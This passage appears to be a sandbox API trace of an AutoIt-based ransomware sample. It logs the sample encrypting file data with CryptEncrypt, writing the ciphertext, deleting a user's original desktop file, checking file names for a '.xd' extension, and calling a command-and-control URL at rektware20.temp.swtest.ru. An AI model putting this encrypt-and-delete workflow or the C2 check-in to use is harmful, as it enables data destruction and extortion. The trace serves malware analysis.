PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.608] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.608] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.608] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.608] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.609] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.609] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.609] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10d6b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10d70) returned 1 [0074.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.610] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.610] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.610] CharLowerBuffW (in: lpsz="byte[68977]", cchLength=0xb | out: lpsz="byte[68977]") returned 0xb [0074.610] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.612] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.612] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.612] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.613] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.613] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1813388*, pdwDataLen=0x130e618*=0x10d6b, dwBufLen=0x10d70 | out: pbData=0x1813388*, pdwDataLen=0x130e618*=0x10d70) returned 1 [0074.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.616] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.616] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.616] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.616] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.616] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.616] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.616] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.616] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.616] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.616] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.616] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.623] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x10d70, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x10d70, lpOverlapped=0x0) returned 1 [0074.626] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.626] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.626] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.626] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.626] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.626] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621210, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.626] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.626] CryptDestroyKey (hKey=0x164c430) returned 1 [0074.626] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.626] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.627] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.627] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.627] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.627] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.627] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.627] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.627] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.627] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.628] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.628] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.628] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.628] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.628] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.628] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.628] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.628] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.628] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.628] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0074.629] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.629] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.629] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.629] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.629] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.629] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.629] CloseHandle (hObject=0x3d8) returned 1 [0074.629] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.629] CloseHandle (hObject=0x3d0) returned 1 [0074.632] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.635] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", lpFilePart=0x0) returned 0x2a [0074.636] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bgtkzte.ods")) returned 0x20 [0074.636] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0074.636] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bgtkzte.ods")) returned 1 [0074.642] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.643] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0074.643] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.643] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.643] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.644] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.644] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.644] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.644] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.644] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.644] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0074.644] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.644] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.644] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.645] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.645] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.645] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.645] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.646] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.646] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.646] CloseHandle (hObject=0x0) returned 0 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, 